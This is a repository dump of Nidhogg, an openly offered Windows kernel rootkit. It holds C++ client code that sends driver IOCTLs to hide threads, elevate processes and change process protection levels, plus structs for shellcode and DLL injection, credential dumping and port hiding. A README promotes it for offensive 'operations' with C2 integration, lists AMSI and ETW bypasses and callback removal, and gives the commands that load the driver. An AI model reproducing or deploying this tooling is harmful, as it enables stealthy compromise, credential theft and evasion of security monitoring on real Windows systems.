78 | }
79 |
80 | NidhoggErrorCodes NidhoggInterface::ThreadHide(DWORD tid) {
81 | DWORD returned;
82 | HiddenThread hiddenThread{ tid, true };
83 |
84 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_THREAD, &hiddenThread, sizeof(hiddenThread), nullptr, 0,
85 | &returned, nullptr))
86 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
87 | return NIDHOGG_SUCCESS;
88 | }
89 |
90 | NidhoggErrorCodes NidhoggInterface::ThreadUnhide(DWORD tid) {
91 | DWORD returned;
92 | HiddenThread hiddenThread{ tid, false };
93 |
94 | if (!DeviceIoControl(this->hNidhogg, IOCTL_HIDE_UNHIDE_THREAD, &hiddenThread, sizeof(hiddenThread), nullptr, 0,
95 | &returned, nullptr))
96 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
97 | return NIDHOGG_SUCCESS;
98 | }
99 |
100 | NidhoggErrorCodes NidhoggInterface::ProcessElevate(DWORD pid) {
101 | DWORD returned;
102 |
103 | if (!DeviceIoControl(this->hNidhogg, IOCTL_ELEVATE_PROCESS, &pid, sizeof(pid), nullptr, 0, &returned, nullptr))
104 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
105 | return NIDHOGG_SUCCESS;
106 | }
107 |
108 | NidhoggErrorCodes NidhoggInterface::ProcessSetProtection(DWORD pid, UCHAR signerType, UCHAR signatureSigner) {
109 | DWORD returned;
110 | ProcessSignature processSignature{};
111 |
112 | processSignature.Pid = pid;
113 | processSignature.SignerType = signerType;
114 | processSignature.SignatureSigner = signatureSigner;
115 |
116 | if (!DeviceIoControl(this->hNidhogg, IOCTL_SET_PROCESS_SIGNATURE_LEVEL, &processSignature, sizeof(processSignature),
117 | nullptr, 0, &returned, nullptr))
118 | return NIDHOGG_ERROR_DEVICECONTROL_DRIVER;
119 | return NIDHOGG_SUCCESS;
120 | }
121 |
122 | std::vector NidhoggInterface::QueryProcesses() {
123 | DWORD returned;
124 | OutputProtectedProcessesList result{};
125 | std::vector pids;
126 |
127 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_PROTECTED_PROCESSES, nullptr, 0, &result, sizeof(result), &returned,
128 | nullptr)) {
129 |
130 | pids.push_back(NIDHOGG_ERROR_DEVICECONTROL_DRIVER);
131 | return pids;
132 | }
133 |
134 | for (ULONG i = 0; i < result.PidsCount; i++) {
135 | pids.push_back(result.Processes[i]);
136 | }
137 | return pids;
138 | }
139 |
140 | std::vector NidhoggInterface::QueryThreads() {
141 | DWORD returned;
142 | OutputThreadsList result{};
143 | std::vector tids;
144 |
145 | if (!DeviceIoControl(this->hNidhogg, IOCTL_QUERY_PROTECTED_THREADS, nullptr, 0, &result, sizeof(result), &returned,
146 | nullptr)) {
147 |
148 | tids.push_back(NIDHOGG_ERROR_DEVICECONTROL_DRIVER);
149 | return tids;
150 | }
151 |
152 | for (ULONG i = 0; i < result.TidsCount; i++) {
153 | tids.push_back(result.Threads[i]);
154 | }
155 | return tids;
156 | }
--------------------------------------------------------------------------------
/NidhoggClient/NidhoggStructs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | constexpr ULONG MAX_PATCHED_MODULES = 256;
4 | constexpr ULONG MAX_FILES = 256;
5 | constexpr ULONG MAX_DRIVER_PATH = 256;
6 | constexpr ULONG MAX_PIDS = 256;
7 | constexpr ULONG MAX_TIDS = 256;
8 | constexpr ULONG MAX_ROUTINES = 64;
9 |
10 | constexpr ULONG REG_KEY_LEN = 255;
11 | constexpr ULONG REG_VALUE_LEN = 260;
12 | constexpr ULONG MAX_PORTS = 256;
13 |
14 | enum NidhoggErrorCodes {
15 | NIDHOGG_SUCCESS,
16 | NIDHOGG_GENERAL_ERROR,
17 | NIDHOGG_ERROR_CONNECT_DRIVER,
18 | NIDHOGG_ERROR_DEVICECONTROL_DRIVER,
19 | NIDHOGG_INVALID_COMMAND,
20 | NIDHOGG_INVALID_OPTION,
21 | NIDHOGG_INVALID_INPUT
22 | };
23 |
24 | enum class MODE {
25 | KernelMode,
26 | UserMode
27 | };
28 |
29 | enum SignatureType
30 | {
31 | PsProtectedTypeNone = 0,
32 | PsProtectedTypeProtectedLight = 1,
33 | PsProtectedTypeProtected = 2
34 | };
35 |
36 | enum SignatureSigner
37 | {
38 | PsProtectedSignerNone = 0, // 0
39 | PsProtectedSignerAuthenticode, // 1
40 | PsProtectedSignerCodeGen, // 2
41 | PsProtectedSignerAntimalware, // 3
42 | PsProtectedSignerLsa, // 4
43 | PsProtectedSignerWindows, // 5
44 | PsProtectedSignerWinTcb, // 6
45 | PsProtectedSignerWinSystem, // 7
46 | PsProtectedSignerApp, // 8
47 | PsProtectedSignerMax // 9
48 | };
49 |
50 | enum InjectionType {
51 | APCInjection,
52 | NtCreateThreadExInjection
53 | };
54 |
55 | enum RegItemType {
56 | RegProtectedKey = 0,
57 | RegProtectedValue = 1,
58 | RegHiddenKey = 2,
59 | RegHiddenValue = 3
60 | };
61 |
62 | enum CallbackType {
63 | ObProcessType,
64 | ObThreadType,
65 | PsCreateProcessTypeEx,
66 | PsCreateProcessType,
67 | PsCreateThreadType,
68 | PsCreateThreadTypeNonSystemThread,
69 | PsImageLoadType,
70 | CmRegistryType
71 | };
72 |
73 | // *********************************************************************************************************
74 |
75 | // ** General Structures ***************************************************************************************
76 | struct KernelCallback {
77 | CallbackType Type;
78 | ULONG64 CallbackAddress;
79 | bool Remove;
80 | };
81 |
82 | struct ObCallback {
83 | PVOID PreOperation;
84 | PVOID PostOperation;
85 | CHAR DriverName[MAX_DRIVER_PATH];
86 | };
87 |
88 | struct PsRoutine {
89 | ULONG64 CallbackAddress;
90 | CHAR DriverName[MAX_DRIVER_PATH];
91 | };
92 |
93 | struct CmCallback {
94 | ULONG64 CallbackAddress;
95 | ULONG64 Context;
96 | CHAR DriverName[MAX_DRIVER_PATH];
97 | };
98 |
99 | struct ObCallbacksList {
100 | CallbackType Type;
101 | ULONG NumberOfCallbacks;
102 | ObCallback* Callbacks;
103 | };
104 |
105 | struct PsRoutinesList {
106 | CallbackType Type;
107 | ULONG NumberOfRoutines;
108 | PsRoutine* Routines;
109 | };
110 |
111 | struct CmCallbacksList {
112 | ULONG NumberOfCallbacks;
113 | CmCallback* Callbacks;
114 | };
115 |
116 | struct PatchedModule {
117 | ULONG Pid;
118 | PVOID Patch;
119 | ULONG PatchLength;
120 | CHAR* FunctionName;
121 | WCHAR* ModuleName;
122 | };
123 |
124 | struct OutputProtectedProcessesList {
125 | ULONG PidsCount;
126 | ULONG Processes[MAX_PIDS];
127 | };
128 |
129 | struct OutputThreadsList {
130 | ULONG TidsCount;
131 | ULONG Threads[MAX_TIDS];
132 | };
133 |
134 | struct ProcessSignature {
135 | ULONG Pid;
136 | UCHAR SignerType;
137 | UCHAR SignatureSigner;
138 | };
139 |
140 | struct FileItem {
141 | int FileIndex;
142 | WCHAR FilePath[MAX_PATH];
143 | };
144 |
145 | struct RegItem {
146 | int RegItemsIndex;
147 | ULONG Type;
148 | WCHAR KeyPath[REG_KEY_LEN];
149 | WCHAR ValueName[REG_VALUE_LEN];
150 | };
151 |
152 | struct PkgReadWriteData {
153 | MODE Mode;
154 | ULONG Pid;
155 | SIZE_T Size;
156 | PVOID LocalAddress;
157 | PVOID RemoteAddress;
158 | };
159 |
160 | struct DllInformation {
161 | InjectionType Type;
162 | ULONG Pid;
163 | CHAR DllPath[MAX_PATH];
164 | };
165 |
166 | struct ShellcodeInformation {
167 | InjectionType Type;
168 | ULONG Pid;
169 | ULONG ShellcodeSize;
170 | PVOID Shellcode;
171 | PVOID Parameter1;
172 | ULONG Parameter1Size;
173 | PVOID Parameter2;
174 | ULONG Parameter2Size;
175 | PVOID Parameter3;
176 | ULONG Parameter3Size;
177 | };
178 |
179 | struct HiddenModuleInformation {
180 | ULONG Pid;
181 | WCHAR* ModuleName;
182 | };
183 |
184 | struct HiddenDriverInformation {
185 | WCHAR* DriverName;
186 | bool Hide;
187 | };
188 |
189 | struct ProtectedProcess {
190 | ULONG Pid;
191 | bool Protect;
192 | };
193 |
194 | struct HiddenProcess {
195 | ULONG Pid;
196 | bool Hide;
197 | };
198 |
199 | struct HiddenThread {
200 | ULONG Tid;
201 | bool Hide;
202 | };
203 |
204 | struct ProtectedThread {
205 | ULONG Tid;
206 | bool Protect;
207 | };
208 |
209 | struct ProtectedFile {
210 | WCHAR* FilePath;
211 | bool Protect;
212 | };
213 |
214 | struct RegistryQueryResult {
215 | std::vector Values;
216 | std::vector Keys;
217 | };
218 |
219 | typedef struct _UNICODE_STRING {
220 | USHORT Length;
221 | USHORT MaximumLength;
222 | #ifdef MIDL_PASS
223 | [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
224 | #else // MIDL_PASS
225 | _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
226 | #endif // MIDL_PASS
227 | } UNICODE_STRING, * PUNICODE_STRING;
228 |
229 | struct DesKeyInformation {
230 | ULONG Size;
231 | PVOID Data;
232 | };
233 |
234 | struct Credentials {
235 | UNICODE_STRING Username;
236 | UNICODE_STRING Domain;
237 | UNICODE_STRING EncryptedHash;
238 | };
239 |
240 | struct OutputCredentials {
241 | ULONG Index;
242 | Credentials Creds;
243 | };
244 |
245 | enum PortType {
246 | TCP,
247 | UDP
248 | };
249 |
250 | struct InputHiddenPort {
251 | bool Hide;
252 | bool Remote;
253 | PortType Type;
254 | USHORT Port;
255 | };
256 |
257 | struct HiddenPort {
258 | bool Remote;
259 | PortType Type;
260 | USHORT Port;
261 | };
262 |
263 | struct OutputHiddenPorts {
264 | HiddenPort Ports[MAX_PORTS];
265 | USHORT PortsCount;
266 | };
267 |
268 | struct ScriptInformation {
269 | PVOID Script;
270 | ULONG ScriptSize;
271 | };
--------------------------------------------------------------------------------
/NidhoggClient/pch.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 |
--------------------------------------------------------------------------------
/NidhoggClient/pch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #pragma comment(lib, "advapi32.lib")
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Nidhogg
2 |
3 |
4 |
5 |
6 |
7 |  
8 |
9 | Nidhogg is a multi-functional rootkit to showcase the variety of operations that can be done from kernel space. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for operations. Besides that, it can also easily be integrated with your C2 framework.
10 |
11 | Nidhogg can work on any version of x64 Windows 10 and Windows 11.
12 |
13 | This repository contains a kernel driver with a C++ program to communicate with it.
14 |
15 | If you want to know more, check out the [wiki](https://github.com/Idov31/Nidhogg/wiki) for a detailed explanation.
16 |
17 | ## Current Features
18 |
19 | - Process hiding and unhiding
20 | - Process elevation
21 | - Process protection (anti-kill and dumping)
22 | - Bypass pe-sieve
23 | - Thread hiding and unhiding
24 | - Thread protection (anti-kill)
25 | - File protection (anti-deletion and overwriting)
26 | - Registry keys and values protection (anti-deletion and overwriting)
27 | - Registry keys and values hiding
28 | - Querying currently protected processes, threads, files, hidden ports, registry keys and values
29 | - Function patching
30 | - Built-in AMSI bypass
31 | - Built-in ETW patch
32 | - Process signature (PP/PPL) modification
33 | - Can be reflectively loaded
34 | - Shellcode Injection
35 | - APC
36 | - NtCreateThreadEx
37 | - DLL Injection
38 | - APC
39 | - NtCreateThreadEx
40 | - Querying kernel callbacks
41 | - ObCallbacks
42 | - Process and thread creation routines
43 | - Image loading routines
44 | - Registry callbacks
45 | - Removing and restoring kernel callbacks
46 | - ETWTI tampering
47 | - Module hiding
48 | - Driver hiding and unhiding
49 | - Credential Dumping
50 | - Port hiding/unhiding
51 | - Script execution
52 | - Initial operations
53 |
54 | ## Reflective loading
55 |
56 | Since version v0.3, Nidhogg can be reflectively loaded with [kdmapper](https://github.com/TheCruZ/kdmapper) but because [PatchGuard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection) will be automatically triggered if the driver registers callbacks, Nidhogg will not register any callback. Meaning, that if you are loading the driver reflectively these features will be disabled by default:
57 |
58 | - Process protection
59 | - Thread protection
60 | - Registry operations
61 |
62 | ## Script Execution
63 |
64 | Since version v1.0, Nidhogg can execute [NidhoggScripts](https://github.com/Idov31/NidhoggScript) - a tool that allows one to execute a couple of commands one after another, thus, creating playbooks for Nidhogg. To see how to write one check out the [wiki](https://github.com/Idov31/NidhoggScript/wiki)
65 |
66 | ## Initial Operations
67 |
68 | Since version v1.0, Nidhogg can execute [NidhoggScripts](https://github.com/Idov31/NidhoggScript) as initial operations as well. Meaning, that if it spots the file `out.ndhg` in the root of the project directory (the same directory as the Python file) it will execute the file each time the driver is running.
69 |
70 | ## PatchGuard triggering features
71 |
72 | These are the features known to trigger [PatchGuard](https://en.wikipedia.org/wiki/Kernel_Patch_Protection), you can still use them at your own risk.
73 |
74 | - Process hiding
75 | - File protecting
76 |
77 | ## Basic Usage
78 |
79 | To see the available commands you can run `NidhoggClient.exe` or look at the [wiki](https://github.com/Idov31/Nidhogg/wiki) for detailed information regarding how to use each command, the parameters it takes and how it works.
80 |
81 | ```sh
82 | NidhoggClient.exe
83 |
84 | # Simple usage: Hiding a process
85 | NidhoggClient.exe process hide 3110
86 | ```
87 |
88 | ## Setup
89 |
90 | ### Building the client
91 |
92 | To compile the client, you will need to have [Visual Studio 2022](https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=16) installed and then just build the project like any other Visual Studio project.
93 |
94 | ### Building the driver
95 |
96 | To compile the project, you will need the following tools:
97 |
98 | - [Visual Studio 2022](https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=Community&rel=16)
99 | - [Windows Driver Kit](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk)
100 | - [Python](https://www.python.org/downloads/) (for the initial operations)
101 |
102 | Clone the repository and build the driver.
103 |
104 | ### Driver Testing
105 |
106 | To test it in your testing environment run those commands with elevated cmd:
107 |
108 | ```cmd
109 | bcdedit /set testsigning on
110 | ```
111 |
112 | After rebooting, create a service and run the driver:
113 |
114 | ```cmd
115 | sc create nidhogg type= kernel binPath= C:\Path\To\Driver\Nidhogg.sys
116 | sc start nidhogg
117 | ```
118 |
119 | ### Debugging
120 |
121 | To debug the driver in your testing environment run this command with elevated cmd and reboot your computer:
122 |
123 | ```cmd
124 | bcdedit /debug on
125 | ```
126 |
127 | After the reboot, you can see the debugging messages in tools such as [DebugView](https://learn.microsoft.com/en-us/sysinternals/downloads/debugview).
128 |
129 | ## Resources
130 |
131 | - [Windows Kernel Programming Book](https://github.com/zodiacon/windowskernelprogrammingbook)
132 | - [Kernel Structure Documentation](https://www.vergiliusproject.com)
133 | - [Registry Keys Hiding](https://github.com/JKornev/hidden)
134 | - [Process Signatures](https://github.com/itm4n/PPLcontrol)
135 | - [NtCreateThreadEx Hotfix](https://github.com/DarthTon/Blackbone)
136 | - [Credential Dumping](https://github.com/gentilkiwi/mimikatz)
137 | - [Port Hiding](https://github.com/bytecode77/r77-rootkit)
138 | - [Logo](https://hotpot.ai/art-generator)
139 |
140 | ## Contributions
141 |
142 | Thanks a lot to those people who contributed to this project:
143 |
144 | - [BlackOfWorld](https://github.com/BlackOfWorld)
145 |
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Idov31/Nidhogg/44989c404dd5f418723c50ec06f3d45f4c670f8d/images/logo.png
--------------------------------------------------------------------------------
/post_compilation_operation.py:
--------------------------------------------------------------------------------
1 | import os
2 | from random import randint
3 |
4 | class NidhoggPostOperations():
5 | def __init__(self):
6 | self.current_path = os.path.dirname(os.path.realpath(__file__))
7 |
8 | def add_initial_operations(self):
9 | operations_size = 0
10 | initial_operations = ''
11 |
12 | # If the initial operations file exists, read it.
13 | if os.path.exists(os.path.join(self.current_path, "out.ndhg")):
14 | with open(os.path.join(self.current_path, "out.ndhg"), "rb") as initial_opearations_file:
15 | data = initial_opearations_file.read()
16 | operations_size = len(data)
17 | hexed_data = [hex(b) for b in data]
18 | initial_operations = ",".join(hexed_data)
19 |
20 | # Creating the new header file.
21 | new_initial_operations = '#pragma once\n#include \"pch.h\"\n\n'
22 |
23 | if operations_size == 0:
24 | new_initial_operations += 'constexpr SIZE_T InitialOperationsSize = 0;\n'
25 | new_initial_operations += 'constexpr UCHAR InitialOperations = {};\n'
26 | else:
27 | new_initial_operations += f'constexpr SIZE_T InitialOperationsSize = {operations_size};\n'
28 | new_initial_operations += 'constexpr UCHAR InitialOperations[InitialOperationsSize] = {' + initial_operations + '};\n'
29 |
30 | # Writing the new header file.
31 | with open(os.path.join(self.current_path, "Nidhogg\\InitialOperation.hpp"), "w") as initial_opeartions_header:
32 | initial_opeartions_header.write(new_initial_operations)
33 |
34 |
35 | def main():
36 | nidhogg_post_operations = NidhoggPostOperations()
37 | nidhogg_post_operations.add_initial_operations()
38 |
39 |
40 | if __name__ == "__main__":
41 | main()
42 |
--------------------------------------------------------------------------------